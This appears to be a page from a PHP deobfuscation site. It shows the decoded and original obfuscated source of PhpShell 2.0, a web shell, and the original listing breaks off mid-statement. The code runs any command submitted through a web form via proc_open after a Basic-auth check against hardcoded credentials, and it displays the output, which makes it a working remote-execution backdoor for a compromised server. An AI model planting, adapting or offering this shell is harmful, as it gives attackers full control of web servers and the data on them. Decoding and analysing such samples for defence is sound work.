Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto Up6jK; J_5zu: if (feof($TBCNH[1])) { goto ix6Wg; } goto m4Et8; n6_Ih: J5LZL: g..

Decoded Output download

<?php
 goto Up6jK; J_5zu: if (feof($TBCNH[1])) { goto ix6Wg; } goto m4Et8; n6_Ih: J5LZL: goto Db73J; Ac9Ut: goto IZjms; goto UbIDd; G0ugT: uCpoM: goto NoPaf; AsQIL: chdir($_SESSION["cwd"]); goto TALx0; Gs7BF: $wWmT9 = preg_replace("|/?[^/]+/\.\.(?!\.)|", '', $wWmT9); goto gL_cQ; Tp170: echo "
<p>Current Working Directory: <code>"; goto YOVkI; TPNXP: echo $_SERVER["PHP_SELF"]; goto mpkhA; NscdA: echo $ERJxb; goto XkqiU; TMmp3: fclose($TBCNH[1]); goto FO0Ih; vMzxE: echo rtrim($qpa6B . $_SESSION["output"]); goto wXPnq; k2dsc: IZjms: goto Jt7R8; Jo1GD: i2Nev: goto LLYV5; RtzNX: $_SESSION["cwd"] = dirname(__FILE__); goto IGL3j; VVLvJ: unset($_SESSION["history"][$BmsKy]); goto GP5bD; E8ZZW: K1O_7: goto PxdFh; Ql3Tu: gfm5W: goto y2I35; YOVkI: echo $_SESSION["cwd"]; goto ZMxBL; vYyfn: goto j7voc; goto dPnyE; GP5bD: eZXQ0: goto On0up; m0j0J: $_SESSION["output"] .= "cd: could not change to: {$wWmT9}\xa"; goto HxH6F; m2q2W: LZYoL: goto kA3v2; TsUGt: goto PZne5; goto NZ7qY; aFDG8: header("Content-Type: text/html; charset=UTF-8"); goto GL2d6; D1Pmw: goto yDvVv; goto ZpPAW; LLYV5: if (empty($_REQUEST["command"])) { goto pe9Ki; } goto XiVaZ; dPnyE: MjUFJ: goto MpnSC; ANJxN: if (!(empty($_SESSION["cwd"]) || !empty($_REQUEST["reset"]))) { goto i2Nev; } goto VXLvZ; I0KSG: x38fr: goto VqeHb; FO0Ih: fclose($TBCNH[2]); goto Nv1_4; IGL3j: goto QGlsX; goto m2q2W; ZMxBL: echo "</code></p>\xa
<form name="shell" action=""; goto TPNXP; Db73J: if (@chdir($wWmT9)) { goto fhZ9C; } goto m0j0J; On0up: array_unshift($_SESSION["history"], $_REQUEST["command"]); goto FCrLR; HxH6F: goto WnI82; goto kom3r; PxdFh: $wWmT9 = $d0CHF[1]; goto bUhMo; UBQmf: Zp0OL: goto RtzNX; SXObT: $ZqBCu = true; goto P1kCN; MZ9GO: if (!empty($_REQUEST["rows"])) { goto LgjW0; } goto muxCk; XkqiU: echo ");
  var last = 0;
\xa  function key(e) {\xa    if (!e) var e = window.event;
\xa    if (e.keyCode == 38 && current_line < command_hist.length-1) {\xa      command_hist[current_line] = document.shell.command.value;
      current_line++;\xa      document.shell.command.value = command_hist[current_line];\xa    }
\xa    if (e.keyCode == 40 && current_line > 0) {\xa      command_hist[current_line] = document.shell.command.value;\xa      current_line--;
      document.shell.command.value = command_hist[current_line];\xa    }\xa
  }

function init() {
  document.shell.setAttribute("autocomplete", "off");
  document.shell.output.scrollTop = document.shell.output.scrollHeight;
  document.shell.command.focus();
}\xa
  </script>
</head>

<body onload="init()">
\xa<h1>PhpShell 2.0</h1>
\xa"; goto yJBym; hF8Un: $_REQUEST["command"] = stripslashes($_REQUEST["command"]); goto Ql3Tu; tKlod: VINe1: goto YCr5x; TALx0: $ToJSJ = strcspn($_REQUEST["command"], " \x9"); goto PbNGf; UlTRD: PZne5: goto iLIcu; seVdq: hHlkY: goto Q2cFD; M2z7a: if (!isset($XNGP0[$cujIm])) { goto x38fr; } goto Tvpsg; tuhv8: yDvVv: goto J_5zu; kom3r: fhZ9C: goto x7beO; u0xXH: echo "">reload</a> to try again.</p>

<p>Try reading the <a href="INSTALL">INSTALL</a> file if you're having\xaproblems with installing PhpShell.</p>\xa\xa</body>\xa</html>
\xa"; goto Bq31H; GL2d6: echo "<?xml version="1.0" encoding="UTF-8"?>" . "
"; goto NpTM8; y2I35: if (!(($BmsKy = array_search($_REQUEST["command"], $_SESSION["history"])) !== false)) { goto eZXQ0; } goto VVLvJ; eUKwK: goto QGlsX; goto UBQmf; mBHbh: echo $_SERVER["PHP_SELF"]; goto u0xXH; Bq31H: exit; goto e0uig; VqeHb: $Qc0YP = proc_open($_REQUEST["command"], array(1 => array("pipe", "w"), 2 => array("pipe", "w")), $TBCNH); goto tuhv8; x7beO: $_SESSION["cwd"] = $wWmT9; goto KQRLD; UbIDd: vpS_L: goto xwNTR; bUhMo: Wl05Y: goto k2dsc; mpkhA: echo "" method="post">
<div>
<textarea name="output" readonly="readonly" cols="80" rows=""; goto j2J33; fSqCx: if (empty($_SESSION["history"])) { goto PrZDr; } goto DBf53; tpaj6: $ZqBCu = false; goto CuBTU; e0uig: eM2r9: goto F0V78; KQRLD: WnI82: goto JJFmD; DBf53: $wRcvi = array_map("addslashes", $_SESSION["history"]); goto bXG_5; Nv1_4: proc_close($Qc0YP); goto eUKwK; tZau7: header("HTTP/1.0 401 Unauthorized"); goto tpaj6; x7doL: $qpa6B = str_repeat("\xa", max(0, $_REQUEST["rows"] + 1 - $EnXda)); goto vMzxE; Dim8I: $wWmT9 = str_replace("//", "/", $wWmT9); goto vYyfn; FfRPL: if (!isset($_SERVER["PHP_AUTH_USER"]) || !isset($_SERVER["PHP_AUTH_PW"]) || !isset($AjBmO[$_SERVER["PHP_AUTH_USER"]]) || $AjBmO[$_SERVER["PHP_AUTH_USER"]] != $_SERVER["PHP_AUTH_PW"]) { goto VINe1; } goto SXObT; j0NY_: goto Wl05Y; goto E8ZZW; ZBJz7: $wWmT9 = $_SESSION["cwd"] . "/" . $d0CHF[1]; goto j0NY_; vBY7I: LgjW0: goto Tp170; NoPaf: if (!($wWmT9 == '')) { goto J5LZL; } goto HPC8i; HdWLR: $_SESSION["output"] .= htmlspecialchars(fgets($TBCNH[2]), ENT_COMPAT, "UTF-8"); goto TsUGt; wXPnq: echo "<</textarea>\xa</div><br>
<p class="prompt">\xa  $&nbsp;<input class="prompt" name="command" type="text"
                onkeyup="key(event)" size="78" tabindex="1">\xa</p>
<p>\xa  <input type="submit" value="Execute Command" />\xa  <input type="submit" name="reset" value="Reset" />
  Rows: <input type="text" name="rows" value=""; goto PPw2S; Q2cFD: goto dDZjh; goto tKlod; NZ7qY: qlIlc: goto TMmp3; j2J33: echo $_REQUEST["rows"]; goto WC6Y_; gL_cQ: goto BLqmH; goto G0ugT; zTrqn: $ERJxb = """"; goto seVdq; VXLvZ: $_SESSION["cwd"] = getcwd(); goto vJd1R; xB0U4: $_SESSION["output"] = ''; goto Jo1GD; WC6Y_: echo "">
"; goto GdOzI; HPC8i: $wWmT9 = "/"; goto n6_Ih; kA3v2: if ($d0CHF[1][0] == "/") { goto K1O_7; } goto ZBJz7; FCrLR: $_SESSION["output"] .= "$ " . $_REQUEST["command"] . "\xa"; goto jtNi7; JJFmD: QGlsX: goto cqzrB; F0V78: error_reporting(E_ALL); goto MZ9GO; GdOzI: $EnXda = substr_count($_SESSION["output"], "\xa"); goto x7doL; vJd1R: $_SESSION["history"] = array(); goto xB0U4; ZpPAW: ix6Wg: goto UlTRD; Tvpsg: $_REQUEST["command"] = $XNGP0[$cujIm] . substr($_REQUEST["command"], $ToJSJ); goto I0KSG; MpnSC: BLqmH: goto B8O2e; XiVaZ: if (!SLnPg()) { goto gfm5W; } goto hF8Un; muxCk: $_REQUEST["rows"] = 24; goto vBY7I; NpTM8: echo "<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"\xa    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">\xa<head>
  <title>PhpShell 2.0</title>\xa<script type="text/javascript" language="JavaScript">
  var current_line = 0;
  var command_hist = new Array("; goto NscdA; PPw2S: echo $_REQUEST["rows"]; goto OfNcb; k2bfS: if (!(strpos($wWmT9, "//") !== false)) { goto MjUFJ; } goto Dim8I; bXG_5: $ERJxb = """, "" . implode("", "", $wRcvi) . """; goto XFWKO; jtNi7: if (KYQy0("^[[:blank:]]*cd[[:blank:]]*$", $_REQUEST["command"])) { goto Zp0OL; } goto otQg1; dqXVU: $wWmT9 = str_replace("/./", "/", $wWmT9); goto Ac9Ut; FrFTk: $XNGP0 = array("ls" => "ls -CvhF", "ll" => "ls -lvhF"); goto FfRPL; otQg1: if (KYQy0("^[[:blank:]]*cd[[:blank:]]+([^;]+)$", $_REQUEST["command"], $d0CHF)) { goto LZYoL; } goto AsQIL; B8O2e: if (!preg_match("|/\.\.(?!\.)|", $wWmT9)) { goto uCpoM; } goto Gs7BF; PbNGf: $cujIm = substr($_REQUEST["command"], 0, $ToJSJ); goto M2z7a; iLIcu: if (feof($TBCNH[2])) { goto qlIlc; } goto HdWLR; m4Et8: $_SESSION["output"] .= htmlspecialchars(fgets($TBCNH[1]), ENT_COMPAT, "UTF-8"); goto D1Pmw; Up6jK: $AjBmO = array("dreatica" => "php-shell"); goto FrFTk; yJBym: if ($ZqBCu) { goto eM2r9; } goto nI9E_; hu1IJ: PrZDr: goto zTrqn; Jt7R8: if (!(strpos($wWmT9, "/./") !== false)) { goto vpS_L; } goto dqXVU; XFWKO: goto hHlkY; goto hu1IJ; P1kCN: session_start(); goto ANJxN; YCr5x: header("WWW-Authenticate: Basic realm="PhpShell 2.0""); goto tZau7; xwNTR: j7voc: goto k2bfS; CuBTU: dDZjh: goto aFDG8; cqzrB: pe9Ki: goto fSqCx; nI9E_: echo "<p>You failed to authenticate yourself to PhpShell. You can <a\xahref=""; goto mBHbh; OfNcb: echo "" />
</p>
</form>
</body>
</html>\xa"; ?>

Did this file decode correctly?

Original Code

<?php
 goto Up6jK; J_5zu: if (feof($TBCNH[1])) { goto ix6Wg; } goto m4Et8; n6_Ih: J5LZL: goto Db73J; Ac9Ut: goto IZjms; goto UbIDd; G0ugT: uCpoM: goto NoPaf; AsQIL: chdir($_SESSION["\143\x77\x64"]); goto TALx0; Gs7BF: $wWmT9 = preg_replace("\174\57\77\133\136\x2f\x5d\x2b\x2f\x5c\56\x5c\56\x28\x3f\x21\x5c\x2e\x29\174", '', $wWmT9); goto gL_cQ; Tp170: echo "\12\x3c\x70\x3e\x43\165\162\x72\x65\156\x74\40\x57\157\x72\x6b\151\156\147\x20\x44\x69\x72\145\143\x74\157\x72\x79\x3a\40\x3c\x63\x6f\144\145\x3e"; goto YOVkI; TPNXP: echo $_SERVER["\x50\x48\x50\x5f\x53\105\x4c\x46"]; goto mpkhA; NscdA: echo $ERJxb; goto XkqiU; TMmp3: fclose($TBCNH[1]); goto FO0Ih; vMzxE: echo rtrim($qpa6B . $_SESSION["\157\165\x74\x70\165\x74"]); goto wXPnq; k2dsc: IZjms: goto Jt7R8; Jo1GD: i2Nev: goto LLYV5; RtzNX: $_SESSION["\143\x77\144"] = dirname(__FILE__); goto IGL3j; VVLvJ: unset($_SESSION["\x68\151\x73\x74\157\x72\171"][$BmsKy]); goto GP5bD; E8ZZW: K1O_7: goto PxdFh; Ql3Tu: gfm5W: goto y2I35; YOVkI: echo $_SESSION["\143\167\144"]; goto ZMxBL; vYyfn: goto j7voc; goto dPnyE; GP5bD: eZXQ0: goto On0up; m0j0J: $_SESSION["\x6f\165\164\x70\165\164"] .= "\x63\x64\72\40\143\157\x75\x6c\x64\40\x6e\157\164\x20\x63\150\141\156\x67\145\x20\x74\x6f\72\x20{$wWmT9}\xa"; goto HxH6F; m2q2W: LZYoL: goto kA3v2; TsUGt: goto PZne5; goto NZ7qY; aFDG8: header("\x43\x6f\x6e\x74\145\x6e\x74\x2d\x54\x79\160\145\x3a\x20\x74\x65\x78\x74\x2f\150\164\155\154\x3b\40\x63\x68\x61\x72\163\145\164\x3d\125\124\106\55\x38"); goto GL2d6; D1Pmw: goto yDvVv; goto ZpPAW; LLYV5: if (empty($_REQUEST["\143\x6f\155\155\x61\156\x64"])) { goto pe9Ki; } goto XiVaZ; dPnyE: MjUFJ: goto MpnSC; ANJxN: if (!(empty($_SESSION["\143\167\144"]) || !empty($_REQUEST["\162\x65\x73\x65\x74"]))) { goto i2Nev; } goto VXLvZ; I0KSG: x38fr: goto VqeHb; FO0Ih: fclose($TBCNH[2]); goto Nv1_4; IGL3j: goto QGlsX; goto m2q2W; ZMxBL: echo "\x3c\57\143\157\144\x65\76\x3c\x2f\x70\76\xa\12\x3c\146\x6f\x72\x6d\40\x6e\141\155\x65\75\42\x73\x68\x65\x6c\154\42\x20\141\x63\164\151\x6f\156\75\x22"; goto TPNXP; Db73J: if (@chdir($wWmT9)) { goto fhZ9C; } goto m0j0J; On0up: array_unshift($_SESSION["\x68\151\163\164\157\162\x79"], $_REQUEST["\143\157\x6d\155\x61\x6e\144"]); goto FCrLR; HxH6F: goto WnI82; goto kom3r; PxdFh: $wWmT9 = $d0CHF[1]; goto bUhMo; UBQmf: Zp0OL: goto RtzNX; SXObT: $ZqBCu = true; goto P1kCN; MZ9GO: if (!empty($_REQUEST["\162\x6f\167\163"])) { goto LgjW0; } goto muxCk; XkqiU: echo "\51\x3b\12\40\40\166\141\x72\40\154\x61\163\164\x20\x3d\40\60\73\12\xa\40\x20\x66\165\156\143\x74\x69\157\156\x20\x6b\x65\x79\50\x65\51\x20\x7b\xa\40\x20\x20\40\151\x66\40\50\x21\145\x29\40\166\x61\162\x20\145\x20\x3d\x20\x77\151\156\x64\157\x77\x2e\x65\166\x65\x6e\x74\73\12\xa\40\40\x20\40\x69\x66\40\50\145\x2e\153\x65\171\103\x6f\144\x65\x20\x3d\x3d\x20\63\70\40\46\46\x20\x63\x75\162\162\x65\156\x74\137\154\x69\x6e\145\40\74\40\143\157\155\155\x61\x6e\144\137\x68\151\163\164\x2e\x6c\x65\x6e\147\164\150\x2d\61\x29\40\173\xa\x20\x20\x20\40\x20\40\x63\x6f\x6d\x6d\x61\x6e\144\x5f\150\151\x73\164\133\x63\x75\162\162\x65\156\164\x5f\x6c\x69\x6e\145\135\x20\75\x20\x64\157\143\x75\155\x65\156\x74\x2e\163\x68\145\x6c\154\56\143\x6f\x6d\155\141\156\144\x2e\x76\141\x6c\165\x65\73\12\x20\40\40\40\x20\x20\x63\165\x72\162\145\x6e\164\137\x6c\x69\156\145\x2b\x2b\73\xa\40\x20\x20\x20\x20\40\144\157\x63\165\155\145\156\x74\56\x73\150\145\x6c\154\56\x63\157\155\x6d\x61\156\x64\56\x76\141\x6c\x75\x65\x20\75\x20\143\x6f\155\x6d\141\156\144\137\x68\x69\163\x74\x5b\143\165\162\162\145\156\164\x5f\154\x69\x6e\x65\x5d\73\xa\40\40\40\x20\175\12\xa\40\x20\40\x20\x69\146\x20\50\x65\56\153\145\x79\x43\x6f\144\145\40\75\75\x20\64\60\40\46\46\40\143\x75\162\x72\x65\x6e\x74\x5f\154\151\x6e\x65\x20\76\40\60\x29\40\x7b\xa\40\x20\x20\x20\40\40\x63\x6f\x6d\155\141\x6e\x64\137\x68\151\163\164\x5b\143\165\162\162\x65\x6e\x74\137\x6c\151\x6e\x65\135\x20\x3d\x20\x64\157\x63\165\x6d\x65\x6e\164\56\163\150\x65\x6c\x6c\x2e\x63\x6f\x6d\x6d\141\156\144\x2e\166\141\x6c\x75\x65\x3b\xa\40\40\x20\x20\x20\40\143\x75\162\x72\x65\x6e\164\x5f\154\x69\x6e\x65\x2d\55\x3b\12\x20\40\x20\x20\x20\x20\x64\x6f\143\165\155\145\156\164\x2e\163\x68\145\154\154\56\143\157\155\x6d\141\156\144\56\166\141\154\165\145\40\x3d\40\143\157\155\x6d\x61\x6e\144\137\x68\x69\163\164\x5b\143\x75\x72\162\x65\156\164\137\x6c\x69\x6e\145\x5d\x3b\xa\x20\40\x20\40\x7d\xa\12\40\x20\175\12\12\146\165\x6e\x63\x74\151\157\x6e\x20\151\156\151\164\x28\51\x20\173\12\40\40\x64\x6f\x63\165\155\145\156\x74\56\163\x68\145\154\x6c\56\163\x65\164\x41\x74\164\x72\151\142\165\164\145\50\x22\141\165\x74\157\143\157\155\x70\x6c\x65\164\x65\42\54\x20\x22\157\x66\x66\x22\x29\x3b\12\40\x20\144\x6f\x63\165\155\x65\x6e\x74\x2e\x73\x68\x65\x6c\154\x2e\157\x75\164\160\165\164\x2e\x73\143\x72\x6f\x6c\x6c\124\157\x70\x20\75\40\144\x6f\x63\x75\155\145\x6e\164\x2e\x73\150\x65\154\154\x2e\157\x75\164\160\x75\164\56\x73\143\x72\157\154\x6c\110\x65\151\x67\x68\164\x3b\12\40\40\144\157\x63\165\155\x65\x6e\164\56\x73\x68\145\x6c\x6c\56\143\157\155\155\141\156\144\x2e\x66\x6f\x63\x75\163\50\51\x3b\12\x7d\xa\12\40\40\74\x2f\163\143\162\151\x70\x74\x3e\12\74\57\150\x65\x61\144\76\12\12\x3c\x62\x6f\x64\171\40\x6f\x6e\x6c\157\x61\x64\75\x22\151\156\x69\164\x28\x29\42\x3e\12\xa\x3c\x68\61\x3e\x50\150\x70\123\x68\145\x6c\x6c\x20\62\x2e\60\x3c\x2f\150\x31\76\12\xa"; goto yJBym; hF8Un: $_REQUEST["\x63\157\x6d\155\141\x6e\x64"] = stripslashes($_REQUEST["\143\157\155\x6d\x61\156\144"]); goto Ql3Tu; tKlod: VINe1: goto YCr5x; TALx0: $ToJSJ = strcspn($_REQUEST["\143\157\155\x6d\141\156\x64"], "\40\x9"); goto PbNGf; UlTRD: PZne5: goto iLIcu; seVdq: hHlkY: goto Q2cFD; M2z7a: if (!isset($XNGP0[$cujIm])) { goto x38fr; } goto Tvpsg; tuhv8: yDvVv: goto J_5zu; kom3r: fhZ9C: goto x7beO; u0xXH: echo "\42\x3e\x72\145\154\x6f\x61\x64\x3c\57\141\76\40\x74\157\40\164\x72\171\x20\141\x67\141\151\x6e\x2e\74\57\x70\76\12\12\x3c\x70\x3e\x54\x72\171\40\162\145\141\x64\151\x6e\x67\x20\164\x68\145\40\x3c\x61\40\x68\x72\x65\146\x3d\x22\x49\x4e\123\x54\101\x4c\114\x22\76\111\x4e\x53\124\101\114\x4c\x3c\57\141\x3e\x20\x66\151\x6c\145\40\x69\x66\40\171\157\165\47\x72\x65\x20\x68\141\166\x69\156\x67\xa\160\162\157\x62\x6c\x65\x6d\163\40\x77\151\164\x68\x20\x69\x6e\163\164\141\154\x6c\151\x6e\x67\x20\x50\150\160\123\x68\145\x6c\154\56\74\57\x70\x3e\xa\xa\74\x2f\x62\x6f\x64\171\76\xa\74\57\150\x74\155\x6c\76\12\xa"; goto Bq31H; GL2d6: echo "\74\77\x78\x6d\x6c\40\166\145\162\163\x69\157\x6e\75\x22\x31\56\x30\42\x20\145\156\x63\x6f\144\x69\x6e\x67\75\x22\x55\x54\x46\55\70\42\x3f\76" . "\12"; goto NpTM8; y2I35: if (!(($BmsKy = array_search($_REQUEST["\x63\x6f\x6d\155\141\x6e\x64"], $_SESSION["\150\151\163\x74\157\x72\x79"])) !== false)) { goto eZXQ0; } goto VVLvJ; eUKwK: goto QGlsX; goto UBQmf; mBHbh: echo $_SERVER["\x50\110\120\137\x53\105\114\106"]; goto u0xXH; Bq31H: exit; goto e0uig; VqeHb: $Qc0YP = proc_open($_REQUEST["\x63\157\155\x6d\x61\156\144"], array(1 => array("\160\x69\160\145", "\167"), 2 => array("\x70\151\160\145", "\167")), $TBCNH); goto tuhv8; x7beO: $_SESSION["\x63\167\144"] = $wWmT9; goto KQRLD; UbIDd: vpS_L: goto xwNTR; bUhMo: Wl05Y: goto k2dsc; mpkhA: echo "\42\x20\x6d\x65\164\x68\157\144\x3d\x22\160\x6f\x73\164\42\x3e\12\x3c\144\151\166\76\12\x3c\x74\x65\170\x74\141\x72\x65\x61\x20\x6e\x61\155\x65\x3d\42\157\x75\164\x70\x75\164\x22\x20\162\145\x61\144\x6f\x6e\154\x79\75\42\x72\x65\x61\x64\x6f\156\x6c\171\42\40\x63\x6f\154\x73\75\42\x38\x30\42\x20\x72\x6f\x77\163\75\x22"; goto j2J33; fSqCx: if (empty($_SESSION["\150\x69\163\x74\x6f\x72\x79"])) { goto PrZDr; } goto DBf53; tpaj6: $ZqBCu = false; goto CuBTU; e0uig: eM2r9: goto F0V78; KQRLD: WnI82: goto JJFmD; DBf53: $wRcvi = array_map("\141\144\x64\163\154\x61\163\x68\145\163", $_SESSION["\x68\151\163\x74\157\162\171"]); goto bXG_5; Nv1_4: proc_close($Qc0YP); goto eUKwK; tZau7: header("\110\124\124\x50\x2f\x31\56\60\x20\x34\60\x31\40\x55\x6e\x61\x75\x74\150\x6f\162\x69\x7a\145\144"); goto tpaj6; x7doL: $qpa6B = str_repeat("\xa", max(0, $_REQUEST["\162\x6f\167\163"] + 1 - $EnXda)); goto vMzxE; Dim8I: $wWmT9 = str_replace("\57\57", "\x2f", $wWmT9); goto vYyfn; FfRPL: if (!isset($_SERVER["\120\110\x50\x5f\x41\x55\x54\110\x5f\125\x53\x45\122"]) || !isset($_SERVER["\x50\110\x50\x5f\x41\125\124\110\137\120\127"]) || !isset($AjBmO[$_SERVER["\x50\110\120\x5f\x41\125\124\110\x5f\x55\x53\105\122"]]) || $AjBmO[$_SERVER["\x50\x48\x50\137\101\x55\x54\110\137\125\x53\105\x52"]] != $_SERVER["\120\110\x50\x5f\x41\125\x54\x48\137\x50\127"]) { goto VINe1; } goto SXObT; j0NY_: goto Wl05Y; goto E8ZZW; ZBJz7: $wWmT9 = $_SESSION["\x63\x77\x64"] . "\57" . $d0CHF[1]; goto j0NY_; vBY7I: LgjW0: goto Tp170; NoPaf: if (!($wWmT9 == '')) { goto J5LZL; } goto HPC8i; HdWLR: $_SESSION["\x6f\165\x74\160\x75\164"] .= htmlspecialchars(fgets($TBCNH[2]), ENT_COMPAT, "\125\124\106\55\x38"); goto TsUGt; wXPnq: echo "\x3c\x3c\x2f\164\x65\x78\164\141\162\x65\x61\76\xa\x3c\x2f\144\151\166\x3e\x3c\x62\162\76\12\74\160\40\143\154\x61\163\x73\x3d\x22\160\x72\x6f\x6d\x70\x74\42\x3e\xa\x20\40\44\46\x6e\x62\x73\160\73\x3c\151\156\160\165\x74\40\143\154\141\x73\163\75\x22\160\x72\x6f\x6d\160\x74\x22\x20\156\x61\x6d\145\75\x22\x63\x6f\x6d\155\x61\x6e\144\42\40\x74\x79\x70\x65\75\42\164\145\170\164\x22\12\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\40\x6f\156\x6b\x65\x79\165\x70\x3d\x22\153\x65\x79\50\145\x76\x65\156\164\x29\42\40\x73\151\x7a\145\x3d\x22\x37\70\x22\x20\x74\x61\x62\151\x6e\x64\x65\170\75\x22\61\42\x3e\xa\74\x2f\160\76\12\x3c\160\76\xa\x20\x20\74\x69\156\x70\x75\x74\40\164\171\x70\x65\x3d\x22\x73\x75\x62\155\x69\x74\x22\x20\166\141\154\165\145\x3d\x22\105\170\x65\143\165\164\x65\40\103\x6f\155\x6d\141\x6e\x64\x22\40\x2f\76\xa\40\x20\74\151\x6e\x70\165\x74\x20\164\171\160\145\75\x22\x73\165\142\155\151\164\x22\40\156\141\155\145\75\x22\x72\x65\x73\x65\x74\42\40\x76\141\x6c\x75\145\x3d\42\122\145\x73\145\x74\42\40\57\x3e\12\40\40\x52\157\167\163\72\40\x3c\151\x6e\x70\x75\x74\40\x74\171\160\x65\75\x22\x74\145\170\164\42\40\x6e\x61\155\x65\75\42\x72\x6f\167\163\x22\40\166\x61\154\165\145\75\x22"; goto PPw2S; Q2cFD: goto dDZjh; goto tKlod; NZ7qY: qlIlc: goto TMmp3; j2J33: echo $_REQUEST["\162\157\167\163"]; goto WC6Y_; gL_cQ: goto BLqmH; goto G0ugT; zTrqn: $ERJxb = "\42\x22"; goto seVdq; VXLvZ: $_SESSION["\x63\x77\x64"] = getcwd(); goto vJd1R; xB0U4: $_SESSION["\157\x75\x74\x70\x75\164"] = ''; goto Jo1GD; WC6Y_: echo "\x22\76\12"; goto GdOzI; HPC8i: $wWmT9 = "\57"; goto n6_Ih; kA3v2: if ($d0CHF[1][0] == "\57") { goto K1O_7; } goto ZBJz7; FCrLR: $_SESSION["\x6f\165\164\160\x75\164"] .= "\44\40" . $_REQUEST["\143\x6f\155\x6d\141\156\144"] . "\xa"; goto jtNi7; JJFmD: QGlsX: goto cqzrB; F0V78: error_reporting(E_ALL); goto MZ9GO; GdOzI: $EnXda = substr_count($_SESSION["\157\165\x74\160\165\x74"], "\xa"); goto x7doL; vJd1R: $_SESSION["\150\x69\x73\164\x6f\x72\171"] = array(); goto xB0U4; ZpPAW: ix6Wg: goto UlTRD; Tvpsg: $_REQUEST["\143\x6f\x6d\x6d\x61\x6e\144"] = $XNGP0[$cujIm] . substr($_REQUEST["\x63\157\x6d\x6d\141\x6e\144"], $ToJSJ); goto I0KSG; MpnSC: BLqmH: goto B8O2e; XiVaZ: if (!SLnPg()) { goto gfm5W; } goto hF8Un; muxCk: $_REQUEST["\x72\157\167\x73"] = 24; goto vBY7I; NpTM8: echo "\74\41\104\117\103\124\x59\120\105\x20\150\164\155\154\40\x50\x55\x42\x4c\111\x43\x20\42\x2d\57\x2f\x57\x33\103\57\x2f\104\x54\x44\40\130\110\124\x4d\x4c\40\61\x2e\60\x20\123\x74\162\151\x63\164\x2f\x2f\x45\x4e\42\xa\x20\40\x20\40\x22\x68\x74\164\160\72\57\57\x77\x77\167\56\x77\63\56\x6f\x72\147\57\124\x52\x2f\170\150\x74\155\154\61\57\x44\x54\x44\57\170\150\164\x6d\x6c\x31\55\x73\164\162\x69\x63\x74\56\144\x74\144\x22\76\12\x3c\150\164\x6d\x6c\40\170\x6d\154\156\x73\75\x22\x68\x74\x74\160\72\57\x2f\167\x77\167\x2e\x77\x33\x2e\157\162\147\x2f\61\71\71\x39\57\170\150\164\155\154\42\x20\x78\x6d\x6c\x3a\154\x61\x6e\x67\75\42\x65\x6e\x22\40\x6c\141\x6e\147\x3d\x22\145\156\42\76\xa\74\x68\145\x61\144\76\12\x20\40\x3c\x74\151\164\154\145\76\x50\150\160\123\150\145\154\x6c\40\x32\56\60\x3c\57\164\151\x74\154\x65\x3e\xa\x3c\x73\143\162\151\160\164\40\164\171\160\145\x3d\x22\x74\145\170\164\x2f\x6a\x61\x76\141\x73\143\162\x69\x70\x74\42\40\x6c\x61\156\147\x75\141\147\145\x3d\42\x4a\141\x76\x61\x53\143\162\x69\x70\x74\x22\76\12\x20\x20\166\x61\x72\40\x63\165\162\x72\145\x6e\164\137\154\x69\156\x65\40\75\x20\60\x3b\12\40\x20\166\x61\x72\40\143\x6f\155\155\141\156\144\x5f\150\151\x73\164\40\x3d\x20\156\x65\x77\40\x41\x72\x72\x61\x79\x28"; goto NscdA; PPw2S: echo $_REQUEST["\x72\157\167\x73"]; goto OfNcb; k2bfS: if (!(strpos($wWmT9, "\x2f\x2f") !== false)) { goto MjUFJ; } goto Dim8I; bXG_5: $ERJxb = "\42\42\54\x20\x22" . implode("\42\54\x20\x22", $wRcvi) . "\42"; goto XFWKO; jtNi7: if (KYQy0("\136\133\x5b\72\142\x6c\141\156\x6b\72\135\135\52\x63\x64\x5b\x5b\72\x62\x6c\141\156\153\x3a\x5d\135\52\44", $_REQUEST["\143\157\155\155\x61\x6e\x64"])) { goto Zp0OL; } goto otQg1; dqXVU: $wWmT9 = str_replace("\x2f\56\57", "\57", $wWmT9); goto Ac9Ut; FrFTk: $XNGP0 = array("\x6c\x73" => "\x6c\x73\40\55\x43\166\x68\106", "\x6c\154" => "\x6c\163\x20\x2d\x6c\166\150\x46"); goto FfRPL; otQg1: if (KYQy0("\136\133\x5b\x3a\x62\x6c\141\x6e\153\x3a\135\135\52\x63\x64\x5b\133\x3a\x62\x6c\141\156\153\72\135\135\x2b\50\x5b\136\x3b\x5d\x2b\x29\44", $_REQUEST["\x63\x6f\155\x6d\141\x6e\144"], $d0CHF)) { goto LZYoL; } goto AsQIL; B8O2e: if (!preg_match("\x7c\57\134\x2e\134\56\x28\77\41\x5c\x2e\51\174", $wWmT9)) { goto uCpoM; } goto Gs7BF; PbNGf: $cujIm = substr($_REQUEST["\x63\x6f\155\155\x61\156\x64"], 0, $ToJSJ); goto M2z7a; iLIcu: if (feof($TBCNH[2])) { goto qlIlc; } goto HdWLR; m4Et8: $_SESSION["\x6f\165\x74\160\165\164"] .= htmlspecialchars(fgets($TBCNH[1]), ENT_COMPAT, "\125\124\106\55\x38"); goto D1Pmw; Up6jK: $AjBmO = array("\144\162\x65\x61\164\x69\143\x61" => "\x70\150\x70\x2d\163\150\145\x6c\x6c"); goto FrFTk; yJBym: if ($ZqBCu) { goto eM2r9; } goto nI9E_; hu1IJ: PrZDr: goto zTrqn; Jt7R8: if (!(strpos($wWmT9, "\57\56\57") !== false)) { goto vpS_L; } goto dqXVU; XFWKO: goto hHlkY; goto hu1IJ; P1kCN: session_start(); goto ANJxN; YCr5x: header("\127\x57\127\55\101\x75\164\x68\145\x6e\x74\x69\143\x61\164\145\72\x20\102\x61\163\151\143\x20\x72\x65\x61\154\155\75\x22\x50\150\160\123\x68\145\154\154\x20\62\56\x30\x22"); goto tZau7; xwNTR: j7voc: goto k2bfS; CuBTU: dDZjh: goto aFDG8; cqzrB: pe9Ki: goto fSqCx; nI9E_: echo "\x3c\160\x3e\131\157\x75\40\146\x61\x69\x6c\145\144\40\164\157\x20\141\x75\164\x68\145\x6e\x74\x69\x63\x61\x74\145\x20\x79\x6f\165\162\163\145\154\146\x20\x74\157\40\x50\x68\160\123\x68\x65\x6c\154\x2e\40\x59\157\x75\40\143\x61\x6e\40\74\141\xa\x68\x72\145\146\x3d\42"; goto mBHbh; OfNcb: echo 